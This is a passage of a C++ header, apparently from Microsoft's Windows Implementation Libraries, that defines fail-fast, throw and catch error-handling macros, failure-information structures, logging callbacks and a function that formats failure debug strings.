##__VA_ARGS__)\n\n// Always fail fast a known failure\n#ifndef FAIL_FAST\n#define FAIL_FAST() __RFF_FN(FailFast_Unexpected)(__RFF_INFO_ONLY(nullptr))\n#endif\n\n// Conditionally fail fast failures - returns parameter value\n#define FAIL_FAST_IF(condition) __RFF_FN(FailFast_If)(__RFF_INFO(#condition) wil::verify_bool(condition))\n#define FAIL_FAST_IF_NULL(ptr) __RFF_FN(FailFast_IfNull)(__RFF_INFO(#ptr) ptr)\n\n// Always fail fast a known failure - fail fast a var-arg message on failure\n#define FAIL_FAST_MSG(fmt, ...) __RFF_FN(FailFast_UnexpectedMsg)(__RFF_INFO(nullptr) fmt, ##__VA_ARGS__)\n\n// Conditionally fail fast failures - returns parameter value - fail fast a var-arg message on failure\n#define FAIL_FAST_IF_MSG(condition, fmt, ...) __RFF_FN(FailFast_IfMsg)(__RFF_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define FAIL_FAST_IF_NULL_MSG(ptr, fmt, ...) __RFF_FN(FailFast_IfNullMsg)(__RFF_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n\n// Immediate fail fast (no telemetry - use rarely / only when *already* in an undefined state)\n#define FAIL_FAST_IMMEDIATE() __RFF_FN(FailFastImmediate_Unexpected)()\n\n// Conditional immediate fail fast (no telemetry - use rarely / only when *already* in an undefined state)\n#define FAIL_FAST_IMMEDIATE_IF_FAILED(hr) __RFF_FN(FailFastImmediate_IfFailed)(wil::verify_hresult(hr))\n#define FAIL_FAST_IMMEDIATE_IF(condition) __RFF_FN(FailFastImmediate_If)(wil::verify_bool(condition))\n#define FAIL_FAST_IMMEDIATE_IF_NULL(ptr) __RFF_FN(FailFastImmediate_IfNull)(ptr)\n#define FAIL_FAST_IMMEDIATE_IF_NTSTATUS_FAILED(status) __RFF_FN(FailFastImmediate_IfNtStatusFailed)(status)\n\n// Specializations\n#define FAIL_FAST_IMMEDIATE_IF_IN_LOADER_CALLOUT() do { if (wil::details::g_pfnFailFastInLoaderCallout != nullptr) { wil::details::g_pfnFailFastInLoaderCallout(); } } while ((void)0, 0)\n\n\n//*****************************************************************************\n// Macros to throw exceptions on failure\n//*****************************************************************************\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n\n// Always throw a known failure\n#define THROW_HR(hr) __R_FN(Throw_Hr)(__R_INFO(#hr) wil::verify_hresult(hr))\n#define THROW_LAST_ERROR() __R_FN(Throw_GetLastError)(__R_INFO_ONLY(nullptr))\n#define THROW_WIN32(win32err) __R_FN(Throw_Win32)(__R_INFO(#win32err) win32err)\n#define THROW_EXCEPTION(exception) wil::details::ReportFailure_CustomException(__R_INFO(#exception) exception)\n#define THROW_NTSTATUS(status) __R_FN(Throw_NtStatus)(__R_INFO(#status) status)\n\n// Conditionally throw failures - returns parameter value\n#define THROW_IF_FAILED(hr) __R_FN(Throw_IfFailed)(__R_INFO(#hr) wil::verify_hresult(hr))\n#define THROW_IF_WIN32_BOOL_FALSE(win32BOOL) __R_FN(Throw_IfWin32BoolFalse)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL))\n#define THROW_IF_WIN32_ERROR(win32err) __R_FN(Throw_IfWin32Error)(__R_INFO(#win32err) win32err)\n#define THROW_IF_NULL_ALLOC(ptr) __R_FN(Throw_IfNullAlloc)(__R_INFO(#ptr) ptr)\n#define THROW_HR_IF(hr, condition) __R_FN(Throw_HrIf)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition))\n#define THROW_HR_IF_NULL(hr, ptr) __R_FN(Throw_HrIfNull)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr)\n#define THROW_LAST_ERROR_IF(condition) __R_FN(Throw_GetLastErrorIf)(__R_INFO(#condition) wil::verify_bool(condition))\n#define THROW_LAST_ERROR_IF_NULL(ptr) __R_FN(Throw_GetLastErrorIfNull)(__R_INFO(#ptr) ptr)\n#define THROW_IF_NTSTATUS_FAILED(status) __R_FN(Throw_IfNtStatusFailed)(__R_INFO(#status) status)\n\n// Always throw a known failure - throw a var-arg message on failure\n#define THROW_HR_MSG(hr, fmt, ...) __R_FN(Throw_HrMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__)\n#define THROW_LAST_ERROR_MSG(fmt, ...) __R_FN(Throw_GetLastErrorMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__)\n#define THROW_WIN32_MSG(win32err, fmt, ...) __R_FN(Throw_Win32Msg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__)\n#define THROW_EXCEPTION_MSG(exception, fmt, ...) wil::details::ReportFailure_CustomExceptionMsg(__R_INFO(#exception) exception, fmt, ##__VA_ARGS__)\n#define THROW_NTSTATUS_MSG(status, fmt, ...) __R_FN(Throw_NtStatusMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__)\n\n// Conditionally throw failures - returns parameter value - throw a var-arg message on failure\n#define THROW_IF_FAILED_MSG(hr, fmt, ...) __R_FN(Throw_IfFailedMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__)\n#define THROW_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __R_FN(Throw_IfWin32BoolFalseMsg)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL), fmt, ##__VA_ARGS__)\n#define THROW_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __R_FN(Throw_IfWin32ErrorMsg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__)\n#define THROW_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __R_FN(Throw_IfNullAllocMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n#define THROW_HR_IF_MSG(hr, condition, fmt, ...) __R_FN(Throw_HrIfMsg)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define THROW_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __R_FN(Throw_HrIfNullMsg)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr, fmt, ##__VA_ARGS__)\n#define THROW_LAST_ERROR_IF_MSG(condition, fmt, ...) __R_FN(Throw_GetLastErrorIfMsg)(__R_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define THROW_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __R_FN(Throw_GetLastErrorIfNullMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n#define THROW_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __R_FN(Throw_IfNtStatusFailedMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__)\n\n\n//*****************************************************************************\n// Macros to catch and convert exceptions on failure\n//*****************************************************************************\n\n// Use these macros *within* a catch (...) block to handle exceptions\n#define RETURN_CAUGHT_EXCEPTION() return __R_FN(Return_CaughtException)(__R_INFO_ONLY(nullptr))\n#define RETURN_CAUGHT_EXCEPTION_MSG(fmt, ...) return __R_FN(Return_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__)\n#define RETURN_CAUGHT_EXCEPTION_EXPECTED() return wil::ResultFromCaughtException()\n#define LOG_CAUGHT_EXCEPTION() __R_FN(Log_CaughtException)(__R_INFO_ONLY(nullptr))\n#define LOG_CAUGHT_EXCEPTION_MSG(fmt, ...) __R_FN(Log_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__)\n#define FAIL_FAST_CAUGHT_EXCEPTION() __R_FN(FailFast_CaughtException)(__R_INFO_ONLY(nullptr))\n#define FAIL_FAST_CAUGHT_EXCEPTION_MSG(fmt, ...) __R_FN(FailFast_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__)\n#define THROW_NORMALIZED_CAUGHT_EXCEPTION() __R_FN(Throw_CaughtException)(__R_INFO_ONLY(nullptr))\n#define THROW_NORMALIZED_CAUGHT_EXCEPTION_MSG(fmt, ...) __R_FN(Throw_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__)\n\n// Use these macros in place of a catch block to handle exceptions\n#define CATCH_RETURN() catch (...) { RETURN_CAUGHT_EXCEPTION(); }\n#define CATCH_RETURN_MSG(fmt, ...) catch (...) { RETURN_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); }\n#define CATCH_RETURN_EXPECTED() catch (...) { RETURN_CAUGHT_EXCEPTION_EXPECTED(); }\n#define CATCH_LOG() catch (...) { LOG_CAUGHT_EXCEPTION(); }\n// Use CATCH_LOG_RETURN instead of CATCH_LOG in a function-try block around a destructor. CATCH_LOG in this specific case has an implicit throw at the end of scope.\n// Due to a bug (DevDiv 441931), Warning 4297 (function marked noexcept throws exception) is detected even when the throwing code is unreachable, such as the end of scope after a return, in function-level catch.\n#define CATCH_LOG_RETURN() catch (...) { __pragma(warning(suppress : 4297)); LOG_CAUGHT_EXCEPTION(); return; }\n#define CATCH_LOG_MSG(fmt, ...) catch (...) { LOG_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); }\n// Likewise use CATCH_LOG_RETURN_MSG instead of CATCH_LOG_MSG in function-try blocks around destructors.\n#define CATCH_LOG_RETURN_MSG(fmt, ...) catch (...) { __pragma(warning(suppress : 4297)); LOG_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); return; }\n#define CATCH_FAIL_FAST() catch (...) { FAIL_FAST_CAUGHT_EXCEPTION(); }\n#define CATCH_FAIL_FAST_MSG(fmt, ...) catch (...) { FAIL_FAST_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); }\n#define CATCH_THROW_NORMALIZED() catch (...) { THROW_NORMALIZED_CAUGHT_EXCEPTION(); }\n#define CATCH_THROW_NORMALIZED_MSG(fmt, ...) catch (...) { THROW_NORMALIZED_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); }\n#define CATCH_LOG_RETURN_HR(hr) catch (...) { LOG_CAUGHT_EXCEPTION(); return hr; }\n\n#endif // WIL_ENABLE_EXCEPTIONS\n\n// Use this macro to supply diagnostics information to wil::ResultFromException\n#define WI_DIAGNOSTICS_INFO wil::DiagnosticsInfo(__R_CALLERADDRESS_VALUE, __R_LINE_VALUE, __R_FILE_VALUE)\n#define WI_DIAGNOSTICS_NAME(name) wil::DiagnosticsInfo(__R_CALLERADDRESS_VALUE, __R_LINE_VALUE, __R_FILE_VALUE, name)\n\n\n\n//*****************************************************************************\n// Usage Error Macros\n//*****************************************************************************\n\n#ifndef WI_USAGE_ASSERT_STOP\n#define WI_USAGE_ASSERT_STOP(condition) WI_ASSERT(condition)\n#endif\n#ifdef RESULT_DEBUG\n#define WI_USAGE_ERROR(msg, ...) do { LOG_HR_MSG(HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE), msg, ##__VA_ARGS__); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0)\n#define WI_USAGE_ERROR_FORWARD(msg, ...) do { ReportFailure_ReplaceMsg(__R_FN_CALL_FULL, HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE), msg, ##__VA_ARGS__); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0)\n#else\n#define WI_USAGE_ERROR(msg, ...) do { LOG_HR(HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE)); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0)\n#define WI_USAGE_ERROR_FORWARD(msg, ...) do { ReportFailure_Hr(__R_FN_CALL_FULL, HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE)); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0)\n#endif\n#define WI_USAGE_VERIFY(condition, msg, ...) do { const auto __passed = wil::verify_bool(condition); if (!__passed) { WI_USAGE_ERROR(msg, ##__VA_ARGS__); }} while ((void)0, 0)\n#define WI_USAGE_VERIFY_FORWARD(condition, msg, ...) do { const auto __passed = wil::verify_bool(condition); if (!__passed) { WI_USAGE_ERROR_FORWARD(msg, ##__VA_ARGS__); }} while ((void)0, 0)\n#ifdef RESULT_DEBUG\n#define WI_USAGE_ASSERT(condition, msg, ...) WI_USAGE_VERIFY(condition, msg, ##__VA_ARGS__)\n#else\n#define WI_USAGE_ASSERT(condition, msg, ...)\n#endif\n\n//*****************************************************************************\n// Internal Error Macros - DO NOT USE - these are for internal WIL use only to reduce sizes of binaries that use WIL\n//*****************************************************************************\n#ifdef RESULT_DEBUG\n#define __WIL_PRIVATE_RETURN_IF_FAILED(hr) RETURN_IF_FAILED(hr)\n#define __WIL_PRIVATE_RETURN_HR_IF(hr, cond) RETURN_HR_IF(hr, cond)\n#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF(cond) RETURN_LAST_ERROR_IF(cond)\n#define __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) RETURN_IF_WIN32_BOOL_FALSE(win32BOOL)\n#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF_NULL(ptr) RETURN_LAST_ERROR_IF_NULL(ptr)\n#define __WIL_PRIVATE_RETURN_IF_NULL_ALLOC(ptr) RETURN_IF_NULL_ALLOC(ptr)\n#define __WIL_PRIVATE_RETURN_LAST_ERROR() RETURN_LAST_ERROR()\n#define __WIL_PRIVATE_FAIL_FAST_HR_IF(hr, condition) FAIL_FAST_HR_IF(hr, condition)\n#define __WIL_PRIVATE_FAIL_FAST_HR(hr) FAIL_FAST_HR(hr)\n#define __WIL_PRIVATE_LOG_HR(hr) LOG_HR(hr)\n#else\n#define __WIL_PRIVATE_RETURN_IF_FAILED(hr) do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { __RETURN_HR_FAIL_NOFILE(__hrRet, #hr); }} while ((void)0, 0)\n#define __WIL_PRIVATE_RETURN_HR_IF(hr, cond) do { if (wil::verify_bool(cond)) { __RETURN_HR_NOFILE(wil::verify_hresult(hr), #cond); }} while ((void)0, 0)\n#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF(cond) do { if (wil::verify_bool(cond)) { __RETURN_GLE_FAIL_NOFILE(#cond); }} while ((void)0, 0)\n#define __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) do { const BOOL __boolRet = wil::verify_BOOL(win32BOOL); if (!__boolRet) { __RETURN_GLE_FAIL_NOFILE(#win32BOOL); }} while ((void)0, 0)\n#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF_NULL(ptr) do { if ((ptr) == nullptr) { __RETURN_GLE_FAIL_NOFILE(#ptr); }} while ((void)0, 0)\n#define __WIL_PRIVATE_RETURN_IF_NULL_ALLOC(ptr) do { if ((ptr) == nullptr) { __RETURN_HR_FAIL_NOFILE(E_OUTOFMEMORY, #ptr); }} while ((void)0, 0)\n#define __WIL_PRIVATE_RETURN_LAST_ERROR() __RETURN_GLE_FAIL_NOFILE(nullptr)\n#define __WIL_PRIVATE_FAIL_FAST_HR_IF(hr, condition) __RFF_FN(FailFast_HrIf)(__RFF_INFO_NOFILE(#condition) wil::verify_hresult(hr), wil::verify_bool(condition))\n#define __WIL_PRIVATE_FAIL_FAST_HR(hr) __RFF_FN(FailFast_Hr)(__RFF_INFO_NOFILE(#hr) wil::verify_hresult(hr))\n#define __WIL_PRIVATE_LOG_HR(hr) __R_FN(Log_Hr)(__R_INFO_NOFILE(#hr) wil::verify_hresult(hr))\n#endif\n\nnamespace wil\n{\n // Indicates the kind of message / failure type that was used to produce a given error\n enum class FailureType\n {\n Exception, // THROW_...\n Return, // RETURN_..._LOG or RETURN_..._MSG\n Log, // LOG_...\n FailFast // FAIL_FAST_...\n };\n\n /** Use with functions and macros that allow customizing which kinds of exceptions are handled.\n This is used with methods like wil::ResultFromException and wil::ResultFromExceptionDebug. */\n enum class SupportedExceptions\n {\n Default, //!< [Default] all well known exceptions (honors g_fResultFailFastUnknownExceptions).\n Known, //!< [Known] all well known exceptions (including std::exception).\n All, //!< [All] all exceptions, known or otherwise.\n None, //!< [None] no exceptions at all, an exception will fail-fast where thrown.\n Thrown, //!< [Thrown] exceptions thrown by wil only (Platform::Exception^ or ResultException).\n ThrownOrAlloc //!< [ThrownOrAlloc] exceptions thrown by wil (Platform::Exception^ or ResultException) or std::bad_alloc.\n };\n\n // Represents the call context information about a given failure\n // No constructors, destructors or virtual members should be contained within\n struct CallContextInfo\n {\n long contextId; // incrementing ID for this call context (unique across an individual module load within process)\n PCSTR contextName; // the explicit name given to this context\n PCWSTR contextMessage; // [optional] Message that can be associated with the call context\n };\n\n // Represents all context information about a given failure\n // No constructors, destructors or virtual members should be contained within\n struct FailureInfo\n {\n FailureType type;\n HRESULT hr;\n long failureId; // incrementing ID for this specific failure (unique across an individual module load within process)\n PCWSTR pszMessage; // Message is only present for _MSG logging (it's the Sprintf message)\n DWORD threadId; // the thread this failure was originally encountered on\n PCSTR pszCode; // [debug only] Capture code from the macro\n PCSTR pszFunction; // [debug only] The function name\n PCSTR pszFile;\n unsigned int uLineNumber;\n int cFailureCount; // How many failures of 'type' have been reported in this module so far\n PCSTR pszCallContext; // General breakdown of the call context stack that generated this failure\n CallContextInfo callContextOriginating; // The outermost (first seen) call context\n CallContextInfo callContextCurrent; // The most recently seen call context\n PCSTR pszModule; // The module where the failure originated\n void* returnAddress; // The return address to the point that called the macro\n void* callerReturnAddress; // The return address of the function that includes the macro\n };\n\n //! Created automatically from using WI_DIAGNOSTICS_INFO to provide diagnostics to functions.\n //! Note that typically wil hides diagnostics from users under the covers by passing them automatically to functions as\n //! parameters hidden behind a macro. In some cases, the user needs to directly supply these, so this class provides\n //! the mechanism for that. We only use this for user-passed content as it can't be directly controlled by RESULT_DIAGNOSTICS_LEVEL\n //! to ensure there are no ODR violations (though that variable still controls what parameters within this structure would be available).\n struct DiagnosticsInfo\n {\n void* returnAddress = nullptr;\n PCSTR file = nullptr;\n PCSTR name = nullptr;\n unsigned short line = 0;\n\n DiagnosticsInfo() = default;\n\n __forceinline DiagnosticsInfo(void* returnAddress_, unsigned short line_, PCSTR file_) :\n returnAddress(returnAddress_),\n file(file_),\n line(line_)\n {\n }\n\n __forceinline DiagnosticsInfo(void* returnAddress_, unsigned short line_, PCSTR file_, PCSTR name_) :\n returnAddress(returnAddress_),\n file(file_),\n name(name_),\n line(line_)\n {\n }\n };\n\n enum class ErrorReturn\n {\n Auto,\n None\n };\n\n // [optionally] Plug in error logging\n // Note: This callback is deprecated. Please use SetResultTelemetryFallback for telemetry or\n // SetResultLoggingCallback for observation.\n extern \"C\" __declspec(selectany) void(__stdcall *g_pfnResultLoggingCallback)(_Inout_ wil::FailureInfo *pFailure, _Inout_updates_opt_z_(cchDebugMessage) PWSTR pszDebugMessage, _Pre_satisfies_(cchDebugMessage > 0) size_t cchDebugMessage) WI_PFN_NOEXCEPT = nullptr;\n\n // [optional]\n // This can be explicitly set to control whether or not error messages will be output to OutputDebugString. It can also\n // be set directly from within the debugger to force console logging for debugging purposes.\n __declspec(selectany) bool g_fResultOutputDebugString = true;\n\n // [optionally] Allows application to specify a debugger to detect whether a debugger is present.\n // Useful for processes that can only be debugged under kernel debuggers where IsDebuggerPresent returns\n // false.\n __declspec(selectany) bool(__stdcall *g_pfnIsDebuggerPresent)() WI_PFN_NOEXCEPT = nullptr;\n\n // [optionally] Allows forcing WIL to believe a debugger is present. Useful for when a kernel debugger is attached and ::IsDebuggerPresent returns false\n __declspec(selectany) bool g_fIsDebuggerPresent = false;\n\n // [optionally] Plug in additional exception-type support (return S_OK when *unable* to remap the exception)\n __declspec(selectany) HRESULT(__stdcall *g_pfnResultFromCaughtException)() WI_PFN_NOEXCEPT = nullptr;\n\n // [optionally] Use to configure fast fail of unknown exceptions (turn them off).\n __declspec(selectany) bool g_fResultFailFastUnknownExceptions = true;\n\n // [optionally] Set to false to a configure all THROW_XXX macros in C++/CX to throw ResultException rather than Platform::Exception^\n __declspec(selectany) bool g_fResultThrowPlatformException = true;\n\n // [optionally] Set to false to a configure all CATCH_ and CAUGHT_ macros to NOT support (fail-fast) std::exception based exceptions (other than std::bad_alloc and wil::ResultException)\n __declspec(selectany) bool g_fResultSupportStdException = true;\n\n // [optionally] Set to true to cause a debug break to occur on a result failure\n __declspec(selectany) bool g_fBreakOnFailure = false;\n\n // [optionally] customize failfast behavior\n __declspec(selectany) bool(__stdcall *g_pfnWilFailFast)(const wil::FailureInfo& info) WI_PFN_NOEXCEPT = nullptr;\n\n /// @cond\n namespace details\n {\n // True if g_pfnResultLoggingCallback is set (allows cutting off backwards compat calls to the function)\n __declspec(selectany) bool g_resultMessageCallbackSet = false;\n\n _Success_(true) _Ret_range_(dest, destEnd)\n inline PWSTR LogStringPrintf(_Out_writes_to_ptr_(destEnd) _Always_(_Post_z_) PWSTR dest, _Pre_satisfies_(destEnd >= dest) PCWSTR destEnd, _In_ _Printf_format_string_ PCWSTR format, ...)\n {\n va_list argList;\n va_start(argList, format);\n StringCchVPrintfW(dest, (destEnd - dest), format, argList);\n return (destEnd == dest) ? dest : (dest + wcslen(dest));\n }\n }\n /// @endcond\n\n // This call generates the default logging string that makes its way to OutputDebugString for\n // any particular failure. This string is also used to associate a failure with a PlatformException^ which\n // only allows a single string to be associated with the exception.\n inline HRESULT GetFailureLogString(_Out_writes_(cchDest) _Always_(_Post_z_) PWSTR pszDest, _Pre_satisfies_(cchDest > 0) _In_ size_t cchDest, _In_ FailureInfo const &failure) WI_NOEXCEPT\n {\n // This function was lenient to empty strings at one point and some callers became dependent on this beahvior\n if ((cchDest == 0) || (pszDest == nullptr))\n {\n return S_OK;\n }\n\n pszDest[0] = L'\\0';\n\n // Call the logging callback (if present) to allow them to generate the debug string that will be pushed to the console\n // or the platform exception object if the caller desires it.\n if ((g_pfnResultLoggingCallback != nullptr) && details::g_resultMessageCallbackSet)\n {\n // older-form callback was a non-const FailureInfo*; conceptually this is const as callers should not be modifying\n g_pfnResultLoggingCallback(const_cast(&failure), pszDest, cchDest);\n }\n\n // The callback only optionally needs to supply the debug string -- if the callback didn't populate it, yet we still want\n // it for OutputDebugString or exception message, then generate the default string.\n if (pszDest[0] == L'\\0')\n {\n PCSTR pszType = \"\";\n switch (failure.type)\n {\n case FailureType::Exception:\n pszType = \"Exception\";\n break;\n case FailureType::Return:\n pszType = \"ReturnHr\";\n break;\n case FailureType::Log:\n pszType = \"LogHr\";\n break;\n case FailureType::FailFast:\n pszType = \"FailFast\";\n break;\n }\n\n wchar_t szErrorText[256];\n szErrorText[0] = L'\\0';\n FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, nullptr, failure.hr, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), szErrorText, ARRAYSIZE(szErrorText), nullptr);\n\n // %FILENAME(%LINE): %TYPE(%count) tid(%threadid) %HRESULT %SystemMessage\n // %Caller_MSG [%CODE(%FUNCTION)]\n\n PWSTR dest = pszDest;\n PCWSTR destEnd = (pszDest + cchDest);\n\n if (failure.pszFile != nullptr)\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"%hs(%u)\\\\%hs!%p: \", failure.pszFile, failure.uLineNumber, failure.pszModule, failure.returnAddress);\n }\n else\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"%hs!%p: \", failure.pszModule, failure.returnAddress);\n }\n\n if (failure.callerReturnAddress != nullptr)\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"(caller: %p) \", failure.callerReturnAddress);\n }\n\n dest = details::LogStringPrintf(dest, destEnd, L\"%hs(%d) tid(%x) %08X %ws\", pszType, failure.cFailureCount, ::GetCurrentThreadId(), failure.hr, szErrorText);\n\n if ((failure.pszMessage != nullptr) || (failure.pszCallContext != nullptr) || (failure.pszFunction != nullptr))\n {\n dest = details::LogStringPrintf(dest, destEnd, L\" \");\n if (failure.pszMessage != nullptr)\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"Msg:[%ws] \", failure.pszMessage);\n }\n if (failure.pszCallContext != nullptr)\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"CallContext:[%hs] \", failure.pszCallContext);\n }\n\n if (failure.pszCode != nullptr)\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"[%hs(%hs)]\\n\", failure.pszFunction, failure.pszCode);\n }\n else if (failure.pszFunction != nullptr)\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"[%hs]\\n\", failure.pszFunction);\n }\n else\n {\n dest = details::LogStringPrintf(dest, destEnd, L\"\\n\");\n }\n }\n }\n\n // Explicitly choosing to return success in the event of truncation... Current callers\n // depend upon it or it would be eliminated.\n return S_OK;\n }\n\n /// @cond\n namespace details\n {\n //! Interface used to wrap up code (generally a lambda or other functor) to run in an exception-managed context where\n //! exceptions or errors can be observed and logged.\n struct IFunctor\n {\n virtual HRESULT Run() = 0;\n };\n\n //! Used to provide custom behavior when an exception is encountered while executing IFunctor\n struct IFunctorHost\n {\n virtual HRESULT Run(IFunctor& functor) = 0;\n virtual HRESULT ExceptionThrown(void* returnAddress) = 0;\n };\n\n // Fallback telemetry provider callback (set with wil::SetResultTelemetryFallback)\n __declspec(selectany) void(__stdcall *g_pfnTelemetryCallback)(bool alreadyReported, wil::FailureInfo const &failure) WI_PFN_NOEXCEPT = nullptr;\n\n // Result.h plug-in (WIL use only)\n __declspec(selectany) void(__stdcall *g_pfnGetContextAndNotifyFailure)(_Inout_ FailureInfo *pFailure, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) WI_PFN_NOEXCEPT = nullptr;\n\n // Observe all errors flowing through the system with this callback (set with wil::SetResultLoggingCallback); use with custom logging\n __declspec(selectany) void(__stdcall *g_pfnLoggingCallback)(wil::FailureInfo const &failure) WI_PFN_NOEXCEPT = nullptr;\n\n // Desktop/System Only: Module fetch function (automatically setup)\n __declspec(selectany) PCSTR(__stdcall *g_pfnGetModuleName)() WI_PFN_NOEXCEPT = nullptr;\n\n // Desktop/System Only: Retrieve address offset and modulename\n __declspec(selectany) bool(__stdcall *g_pfnGetModuleInformation)(void* address, _Out_opt_ unsigned int* addressOffset, _Out_writes_bytes_opt_(size) char* name, size_t size) WI_PFN_NOEXCEPT = nullptr;\n\n // Called with the expectation that the program will terminate when called inside of a loader callout.\n // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined)\n __declspec(selectany) void(__stdcall *g_pfnFailFastInLoaderCallout)() WI_PFN_NOEXCEPT = nullptr;\n\n // Called to translate an NTSTATUS value to a Win32 error code\n // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined)\n __declspec(selectany) ULONG(__stdcall *g_pfnRtlNtStatusToDosErrorNoTeb)(NTSTATUS) WI_PFN_NOEXCEPT = nullptr;\n\n // Desktop/System Only: Call to DebugBreak\n __declspec(selectany) void(__stdcall *g_pfnDebugBreak)() WI_PFN_NOEXCEPT = nullptr;\n\n // Called to determine whether or not termination is happening\n // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined)\n __declspec(selectany) BOOLEAN(__stdcall *g_pfnDllShutdownInProgress)() WI_PFN_NOEXCEPT = nullptr;\n __declspec(selectany) bool g_processShutdownInProgress = false;\n\n // On Desktop/System WINAPI family: dynalink RaiseFailFastException because we may encounter modules\n // that do not have RaiseFailFastException in kernelbase. UWP apps will directly link.\n __declspec(selectany) void (__stdcall *g_pfnRaiseFailFastException)(PEXCEPTION_RECORD,PCONTEXT,DWORD) = nullptr;\n\n // Exception-based compiled additions\n __declspec(selectany) HRESULT(__stdcall *g_pfnRunFunctorWithExceptionFilter)(IFunctor& functor, IFunctorHost& host, void* returnAddress) = nullptr;\n __declspec(selectany) void(__stdcall *g_pfnRethrow)() = nullptr;\n __declspec(selectany) void(__stdcall *g_pfnThrowResultException)(const FailureInfo& failure) = nullptr;\n extern \"C\" __declspec(selectany) HRESULT(__stdcall *g_pfnResultFromCaughtExceptionInternal)(_Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_PFN_NOEXCEPT = nullptr;\n\n // C++/WinRT additions\n extern \"C\" __declspec(selectany) HRESULT(__stdcall *g_pfnResultFromCaughtException_CppWinRt)(_Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_PFN_NOEXCEPT = nullptr;\n\n // C++/cx compiled additions\n extern \"C\" __declspec(selectany) void(__stdcall *g_pfnThrowPlatformException)(FailureInfo const &failure, PCWSTR debugString) = nullptr;\n extern \"C\" __declspec(selectany) _Always_(_Post_satisfies_(return < 0)) HRESULT(__stdcall *g_pfnResultFromCaughtException_WinRt)(_Inout_updates_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_PFN_NOEXCEPT = nullptr;\n __declspec(selectany) _Always_(_Post_satisfies_(return < 0)) HRESULT(__stdcall *g_pfnResultFromKnownExceptions_WinRt)(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor) = nullptr;\n\n // Plugin to call RoOriginateError (WIL use only)\n __declspec(selectany) void(__stdcall *g_pfnOriginateCallback)(wil::FailureInfo const& failure) WI_PFN_NOEXCEPT = nullptr;\n\n // Plugin to call RoFailFastWithErrorContext (WIL use only)\n __declspec(selectany) void(__stdcall* g_pfnFailfastWithContextCallback)(wil::FailureInfo const& failure) WI_PFN_NOEXCEPT = nullptr;\n\n // Called to tell Appverifier to ignore a particular allocation from leak tracking\n // If AppVerifier is not 